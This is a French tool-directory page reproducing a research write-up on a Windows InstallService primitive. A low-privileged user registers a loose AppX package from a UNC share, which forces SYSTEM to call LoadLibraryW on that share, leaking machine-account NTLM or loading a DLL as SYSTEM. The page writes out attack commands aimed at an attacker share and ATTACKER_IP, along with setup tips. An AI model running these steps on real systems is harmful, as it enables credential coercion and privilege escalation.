Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
UnCanny — Une autre nouvelle primitive de coercition avec LPE - coercition NTLM de compte machine depuis un utilisateur non-administrateur via des expériences de résolution de plugin Windows Store InstallService | Kitploit
Outils/GitHubGitHub/0xhossam/uncanny
Escalade de PrivilègesExploitationMouvement LatéralArticles et RechercheApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub0xhossam/uncanny

UnCanny

Une autre nouvelle primitive de coercition avec LPE - coercition NTLM de compte machine depuis un utilisateur non-administrateur via des expériences de résolution de plugin Windows Store InstallService

Voir le dépôt
87121il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

UNCanny Coerce

L'idée derrière cette recherche était simple : je voulais trouver ma propre technique de coercition. J'ai commencé par chercher de nouvelles surfaces d'attaque RPC, mais après que Microsoft a ajouté la surveillance de l'activité RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), j'ai décidé de prendre un chemin différent.

UNCanny est le résultat de ce terrier de lapin. Ce n'est pas quelque chose que je considérerais comme fiable pour de vraies opérations red team à cause de ses limitations, mais je pense quand même que les notes méritent d'être publiées pour quiconque explore le même domaine.


En bref, cette primitive est :

un utilisateur normal donne au service d'installation du Windows Store des métadonnées d'installation -> le service, s'exécutant en tant que système local, résout un "plugin" pour ce travail -> le résolveur finit par faire LoadLibraryW sur un chemin influencé par l'utilisateur -> ce chemin est un UNC -> NTLM sortant en tant que compte machine.

Le composant est le monde du service d'installation du Windows Store : InstallService.dll hébergé dans InstallService.exe, s'exécutant en tant que NT AUTHORITY\SYSTEM.

trouver la surface étrange

Le terrier de lapin a commencé avec InstallService.dll. Je regardais des composants Windows qui installent des paquets, restaurent l'état après redémarrage, reprennent des tâches échouées, lisent du contenu local/distant et chargent des plugins. Tout ce qui a ces quatre choses ensemble a généralement une confusion de frontière quelque part :

  • il a un côté appelant plutôt public car l'environnement utilisateur normal doit pouvoir demander des installations
  • il a un côté travailleur privilégié car la gestion des paquets/états nécessite des droits de service
  • il a de la sérialisation car le travail doit survivre au redémarrage
  • il a un chargement de plugins car Windows aime rendre les choses simples modulaires et effrayantes

La classe d'exécution intéressante était :

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: slot de vtable 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

Ce paramètre propertiesJson est là où réside le fun. Le comportement de l'installation est décrit par des champs JSON comme FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

Au début, je pensais que le bug allait être "mettre un UNC dans SourceUri et laisser le service le lire". ça aurait été magnifique, mais Windows n'a pas été si généreux. J'ai rétro-conçu le chemin d'exécution intégré (CreateInstallServiceWorkFromBridge, InstallService.dll) et les plugins intégrés ne font tout simplement pas ça :

  • WU analyse le JSON et part via WinHTTP / Delivery Optimization. jamais SMB.
  • ChainedWork et XVC sont la même histoire ou ne sont même pas présents sur un client.
  • un SourceUri brut est soit rejeté rapidement, soit redirigé vers la validation du catalogue. CreateCatalogItemFromLocalData malgré son nom construit un élément de catalogue à partir du JSON sérialisé en mémoire, il n'ouvre pas un fichier.

Donc l'idée naïve est une impasse, cette fonctionnalité est très intéressante et je fais aussi d'autres recherches de primitives dessus et cela mérite d'être dit à voix haute pour que personne ne perde une semaine là-dessus :)

SYSTEM touche un chemin

Le seul endroit dans tout le flux de création/restauration où le service touche un chemin influencé par un attaquant est l'activation du plugin. La fonction est PluginHelpers::ActivatePlugin. Elle résout FulfillmentPluginId dans cet ordre :

  1. "WU" -> intégré
  2. "ChainedWork" -> intégré
  3. valeur trouvée dans StaticPluginMap (HKLM) -> CoCreateInstance d'un CLSID, ou activer une classe WinRT
  4. "XVC" -> fabrique Xbox
  5. tout le reste -> le traiter comme un nom de famille de paquet. FindPackagesForUser(pfn) -> prendre le InstalledLocation.Path de ce paquet -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

La branche 5 est la bonne et PluginHelpers::IsPluginAvailable confirme la porte : elle retourne vrai pour tout FulfillmentPluginId qui correspond à un paquet installé, via exactement la même recherche FindPackagesForUser.

alt text

Donc si un FulfillmentPluginId pointe vers un paquet dont InstalledLocation est un UNC, alors InstallService.exe s'exécutant en tant que SYSTEM fait :

root@kitploit:~
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW doit se connecter à \\attacker\share et s'authentifier avant de pouvoir constater que la dll n'est pas là, et cette authentification est la coercition ; la dll n'a jamais besoin d'exister.

alt text

la primitive réelle

La seule question restante est "comment un utilisateur normal obtient-il un paquet dont InstalledLocation est un UNC". La réponse est l'enregistrement de fichiers lâches (loose-file registration), qui est une opération par utilisateur, non élevée :

root@kitploit:~
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

Windows enregistre le paquet "sur place", donc le InstalledLocation enregistré est littéralement l'UNC que vous avez pointé. Ensuite, vous déclenchez le travail avec le nom de famille de ce paquet comme identifiant de plugin.

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <PFN de ce paquet> )

L'appelant est un utilisateur normal, l'authentification réseau est le compte machine.

alt text

Un utilisateur faiblement privilégié a déclenché, le compte machine s'est authentifié. Le propre chargeur de Windows a fait le contact UNC, pas l'appelant.

coercition via SMB

côté attaquant

Deux choses à régler avant d'exécuter :

  • impacket-smbserver rapporte le type de système de fichiers XTFS. AppX refuse de s'enregistrer sur des partages non NTFS (0x80073CFD). Patchez le champ FileSystemName dans impacket/smbserver.py en NTFS.

  • Le partage a besoin de AppxManifest.xml, logo.png, dummy.exe. Pas besoin de InstallServicePlugin.dll. MaxVersionTested dans le manifeste doit être ≤ la version cible (winver sur la cible pour vérifier).

Vous pouvez exécuter poc/setup.sh depuis la racine du dépôt sur Kali. Il peuple le partage, patche impacket, dépose poc.ps1 sur la cible via smbclient si TARGET_IP et TARGET_CREDS sont définis, et démarre le serveur ;-)

Ensuite, sur votre poste de travail Windows en tant qu'utilisateur faiblement privilégié depuis une session interactive :

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Il y a un deuxième aspect du même bug qui est plus direct que la coercition. Si InstallServicePlugin.dll existe réellement sur le chemin UNC du paquet, le service atteint toujours la même branche LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), mais cette fois le chargeur réussit et la dll est mappée dans le processus du service d'installation du Windows Store en tant que NT AUTHORITY\SYSTEM.

J'ai donc été surexcité en essayant de prouver ce problème et j'ai écrit la preuve de concept dans lpe/. Le point important n'est pas une autre astuce d'enregistrement de paquet, c'est le même paquet lâche enregistré qui est réutilisé comme paquet de plugin. Le harpon demande le nom de famille du paquet de l'utilisateur faiblement privilégié avec Get-AppxPackage, passe ce PFN comme FulfillmentPluginId, définit SkipCatalogLookup=true, et inclut SerializedFulfillmentData. Ce dernier champ est important car InstallQueue2::CreateWork rejette la requête avec 0x80070057 si la recherche dans le catalogue est ignorée sans données d'exécution.

Il est très important de noter quelque chose qui a pris beaucoup de temps dans le dépannage : impacket ne peut pas servir une image chargeable. Il répond aux lectures assez bien pour que le compte machine s'authentifie, donc le chemin de coercition est parfaitement satisfait, mais LoadLibraryW contre un partage impacket retourne null avec ERROR_INVALID_HANDLE et DllMain ne s'exécute jamais. Servez exactement les mêmes fichiers avec un vrai serveur SMB (Samba) et le chargement réussit. Samba signale NTFS par défaut donc l'enregistrement lâche fonctionne toujours. Donc la règle est simple : impacket quand vous voulez seulement le hash, Samba quand vous voulez que la dll s'exécute réellement en tant que SYSTEM !

Lors d'un vrai lancement, déclenché par l'utilisateur faiblement privilégié, uncanny_lpe.txt montre la dll mappée dans svchost.exe et le token résolu en NT AUTHORITY\SYSTEM / S-1-5-18, ce qui est la capture d'écran ci-dessous.

preuve LPE en tant que utilisateur faible

CreateInstallServiceWork retourne toujours 0x800706BE avec cette dll de démonstration car DllMain a déjà été exécutée au moment où le service demande la véritable interface du plugin et abandonne :-)

branche loadlibrary d'activateplugin

limitations

La limitation est en fait la raison pour laquelle j'ai décidé de publier cette technique - le mode développeur doit être activé pour l'exécuter. Tout repose sur le fait que InstalledLocation.Path soit un chemin UNC, et après avoir passé beaucoup de temps à creuser, je n'ai trouvé qu'un seul moyen d'y parvenir. Une installation normale signée copie le paquet dans C:\Program Files\WindowsApps\..., définit InstalledLocation là, et c'est toujours un chemin local.

Le seul chemin d'enregistrement que j'ai trouvé qui conserve les fichiers là où ils sont déjà, y compris sur un partage UNC, est l'enregistrement de fichiers lâches (Add-AppxPackage -Register <manifest>). C'est exactement ce que le mode développeur (AllowDevelopmentWithoutDevLicense sous HKLM\...\AppModelUnlock) déverrouille. Et la raison pour laquelle il est verrouillé a du sens. L'enregistrement lâche crée en gros une identité de paquet de confiance à partir de fichiers non signés arbitraires situés à un endroit que vous contrôlez, ce qui contourne complètement le magasin normal et le modèle de confiance de signature. Pour cette raison, le mode développeur doit être activé, et c'est actuellement la plus grande limitation de la technique.

La partie intéressante est que le côté InstallService ne s'en soucie pas vraiment, et une fois qu'un tel paquet existe, la branche 5 de ActivatePlugin appellera joyeusement LoadLibraryW sur n'importe quel InstalledLocation.Path qu'elle reçoit. Tout le problème est d'obtenir un paquet dont l'emplacement d'installation pointe vers un chemin UNC sans avoir besoin du mode développeur.

J'ai donc commencé à rétro-concevoir les barrières de protection pour trouver une autre entrée.

La vérification du mode développeur ne vit pas du tout dans InstallService. Elle se trouve dans la pile de déploiement AppX (AppXDeploymentServer.dll et la politique de licence de déploiement) et lit finalement HKLM\...\AppModelUnlock, qui est contrôlé par l'administrateur. Il n'y a rien qu'un utilisateur normal puisse activer là-bas.

J'ai également cherché ce qui semblait être le contournement évident, comme le chargement latéral (sideloading)

Je l'ai testé avec le chargement latéral activé et le mode développeur désactivé (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). L'enregistrement lâche a immédiatement échoué et s'est plaint que l'origine du paquet était Unsigned et qu'aucune licence valide ou politique de chargement latéral n'a pu être appliquée.

Il reste encore quelques voies que je n'ai pas complètement exclues, que vous pouvez creuser si vous le souhaitez :

  • StaticPluginMap combiné avec un détournement d'ordre de recherche COM
  • -ExternalLocation et contenu de paquet externe
  • des liens symboliques ou des jonctions
  • du détournement COM par utilisateur via HKCU\...\CLSID

détections ?

Elastic va probablement couvrir ça en un jour.


  • Je ne suis pas responsable de l'utilisation de ces informations. Cette recherche est publiée à des fins éducatives en fin de compte, et peut également aider à améliorer la compréhension de la surface d'attaque.
Télécharger l’outil